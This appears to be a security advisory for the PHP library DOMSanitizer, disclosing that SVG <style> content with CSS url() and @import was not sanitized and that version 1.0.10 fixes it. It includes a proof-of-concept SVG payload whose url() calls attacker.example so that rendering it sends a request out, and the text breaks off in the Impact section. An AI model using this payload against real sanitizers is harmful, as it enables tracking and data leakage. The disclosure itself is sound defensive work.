DOMSanitizer is a DOM/SVG/MathML Sanitizer for PHP 7.3+. Prior to version 1.0.10, DOMSanitizer::sanitize() allows <style> elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered. Version 1.0.10 fixes the issue.

Affected: Packagist: rhukster/dom-sanitizer

### Summary DOMSanitizer::sanitize() allows <style> elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered.

### Details In src/DOMSanitizer.php, 'style' is listed in the SVG allowed-tag array (line 31). The sanitize() method (lines 111–133) removes disallowed tags and strips attributes matching the EXTERNAL_URL pattern — but text node content of <style> elements is never examined. Because CSS rules live in text nodes, EXTERNAL_URL filtering never applies to them.

Vulnerable code (src/DOMSanitizer.php, line 31): ```php 'svg' => ['style', 'path', 'rect', 'circle', ...], ```

The following payload survives sanitize() intact: ```svg <svg xmlns="http://www.w3.org/2000/svg"> <style>* { background: url(https://attacker.example/collect); }</style> </svg> ```

### PoC ```php <?php require 'vendor/autoload.php'; use Rhukster\DomSanitizer\DOMSanitizer;

$svg = '<svg xmlns="http://www.w3.org/2000/svg"><style>* { background: url(https://attacker.example/collect); }</style></svg>'; $sanitizer = new DOMSanitizer(DOMSanitizer::SVG); $output = $sanitizer->sanitize($svg); echo $output; // <style> with url() survives unchanged — confirmed exploitable in Statamic CMS (GHSA-g8hv-8w5p-cvqg) ```

Render the returned string in a browser. The browser sends a GET request to https://attacker.example/collect.

### Impact A…